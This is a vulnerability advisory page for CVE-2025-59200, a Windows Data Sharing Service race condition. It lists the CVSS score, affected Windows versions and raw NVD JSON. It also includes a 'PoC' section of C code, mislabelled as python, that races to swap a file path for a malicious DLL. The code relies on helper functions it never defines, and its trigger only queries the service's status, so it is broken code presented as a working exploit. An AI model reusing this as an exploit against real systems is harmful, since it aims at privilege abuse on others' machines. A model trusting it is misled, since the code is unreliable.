Security Vulnerability Report
中文
CVE-2025-59200 CVSS 7.7 HIGH

CVE-2025-59200

Published: 2025-10-14 17:16:00
Last Modified: 2025-10-17 15:29:20

Description

Concurrent execution using shared resource with improper synchronization ('race condition') in Data Sharing Service Client allows an unauthorized attacker to perform spoofing locally.

CVSS Details

CVSS Score
7.7
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:* - VULNERABLE
Windows 10 版本1809及以后版本
Windows 11 所有受支持版本
Windows Server 2019
Windows Server 2022
Windows Server 2025

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-59200 - Data Sharing Service Client Race Condition PoC // This PoC demonstrates the race condition exploitation concept // Note: Requires local access and specific timing #include <windows.h> #include <stdio.h> #include <tchar.h> #define TARGET_SERVICE L"DataSharingSvc" #define RACE_WINDOW_MS 100 // Structure to hold race condition parameters typedef struct _RACE_CONTEXT { HANDLE hSharedResource; LPWSTR lpOriginalPath; LPWSTR lpMaliciousPath; BOOL bIsExploited; } RACE_CONTEXT, *PRACE_CONTEXT; // Thread function to monitor and swap shared resource DWORD WINAPI RaceMonitorThread(LPVOID lpParam) { PRACE_CONTEXT pCtx = (PRACE_CONTEXT)lpParam; // Continuously monitor the shared resource while (!pCtx->bIsExploited) { // Check if the target resource is being accessed // (Time-of-Check phase completed) if (IsResourceInUse(pCtx->hSharedResource)) { // Race window detected - swap the resource // before Time-of-Use phase if (SwapResource(pCtx->lpOriginalPath, pCtx->lpMaliciousPath)) { pCtx->bIsExploited = TRUE; printf("[+] Race condition triggered successfully\n"); break; } } Sleep(1); // Minimal sleep to maximize race window } return 0; } // Trigger the Data Sharing Service to initiate the vulnerable code path BOOL TriggerDataSharing() { // Simulate triggering the Data Sharing Service Client // to perform the vulnerable race condition operation SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if (!hSCManager) { printf("[-] Failed to open SC Manager: %d\n", GetLastError()); return FALSE; } // Attempt to interact with the Data Sharing Service SC_HANDLE hService = OpenService(hSCManager, TARGET_SERVICE, SERVICE_ALL_ACCESS); if (hService) { // Trigger the vulnerable code path via service control SERVICE_STATUS_PROCESS ssp; DWORD dwBytesNeeded; QueryServiceStatusEx(hService, SC_STATUS_PROCESS_INFO, (LPBYTE)&ssp, sizeof(ssp), &dwBytesNeeded); CloseServiceHandle(hService); } CloseServiceHandle(hSCManager); return TRUE; } int main(int argc, char* argv[]) { printf("[*] CVE-2025-59200 PoC - Data Sharing Service Race Condition\n"); printf("[*] Microsoft Windows Local Spoofing Vulnerability\n\n"); if (argc < 2) { printf("Usage: %s <target_resource_path>\n", argv[0]); printf("Note: Requires local administrator or user interaction\n"); return 1; } RACE_CONTEXT ctx = {0}; ctx.lpOriginalPath = (LPWSTR)argv[1]; ctx.lpMaliciousPath = (LPWSTR)L"C:\\malicious\\payload.dll"; // Start the race condition monitoring thread HANDLE hThread = CreateThread(NULL, 0, RaceMonitorThread, &ctx, 0, NULL); if (!hThread) { printf("[-] Failed to create monitor thread: %d\n", GetLastError()); return 1; } // Trigger the vulnerable Data Sharing operation printf("[*] Triggering Data Sharing Service...\n"); TriggerDataSharing(); // Wait for exploitation or timeout WaitForSingleObject(hThread, RACE_WINDOW_MS * 10); if (ctx.bIsExploited) { printf("[+] Exploitation successful - spoofing achieved\n"); } else { printf("[-] Race condition window missed, retry recommended\n"); } CloseHandle(hThread); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59200", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:59.520", "lastModified": "2025-10-17T15:29:20.027", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Concurrent execution using shared resource with improper synchronization ('race condition') in Data Sharing Service Client allows an unauthorized attacker to perform spoofing locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 5.3}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-73"}, {"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.10240.21161", "matchCriteriaId": "030F3214-D6AF-40A9-9FC9-523AC9870581"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.10240.21161", "matchCriteriaId": "4932CB20-D134-4EDF-8F21-F9D0AF80BFEA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "D8145D41-BFB2-47A6-B5E5-1A038A27C1C1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "3EE0CDB1-CBF3-45F2-8F0B-96A9D0757B42"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "E216CD5B-8885-4E17-8718-97E88A724A44"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "36E44227-0320-43B1-A0D9-EB28B25CDB4D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6456", "matchCriteriaId": "1485A427-10FF-4C39-9911-4C6F1820BE7F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6456", "matchCriteriaId": "26CAACAA-3FE8-4740-8CF2-6BF3D069C47F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22621.6060", "matchCriteriaId": "6F387FA2-66C8-4B70-A537-65806271F16A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.22631.6060", "matchCriteriaId": "4AF873E4-B2FE-4504-BFF0-FC71121FC9A4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "41E9F7AC-8E6D-43A0-A157-48A5E0B5BD0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.6899", "matchCriteriaId": "3B77A066-4F79-4B1F-AECF-58DB4C651EA5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.14393.8519", "matchCriteriaId": "860ADFF9-62D0-425B-9310-99ACFC92EB12"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "20810926-AEC9-4C09-9C52-B4B8FADECF3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4294", "matchCriteriaId": "B1C1EA69-6BB8-4E59-8659-43581FDB48B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1913", "matchCriteriaId": "370C12D6-90EF-44BE-8070-AA0080C12600"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.26100.6899", "matchCriteriaId": "CD6268EB-C42B-406F-B3FF-6E694F93BF41"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59200", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}